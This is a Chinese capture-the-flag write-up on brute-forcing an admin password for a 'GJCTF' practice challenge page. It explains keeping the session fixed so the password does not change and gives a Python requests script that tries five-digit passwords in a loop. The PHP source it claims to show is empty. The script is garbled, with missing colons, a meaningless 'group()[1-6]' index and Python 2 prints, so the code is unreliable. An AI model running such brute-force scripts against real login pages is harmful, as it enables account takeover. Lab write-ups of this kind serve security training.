GJCTF模拟题之python暴力破解网站管理员密码

题目地址:http://www.czlgjbbq.top/GJCTF/brute.php

php源码:


    
    你能进来吗?
    
    

根据源码可以看出我们可以固定session值来避免session值的刷新从而避免密码的变更。
所以这里我们使用python脚本,并使用requests.session库来避免session值的刷新以导致后台管理员密码的刷新。

python脚本:

import requests
import re
s = requests.session()
html = s.get('http://www.czlgjbbq.top/GJCTF/brute.php')
pattern = '.html'
ss = re.search(pattern, html.text)
session = ss.group()[1-6]
#print session
for i in range(10000,99999)
    payload = {'password' str(i), 'check' session}
    #print payload
    html = s.get(url='http://www.czlgjbbq.top/GJCTF/brute.php', params=payload)
    pattern = 'GJCTF'
    if not re.match(pattern,html.text)
        pass
    else
        print html.text

你可能感兴趣的:(网络安全,WEB,编程)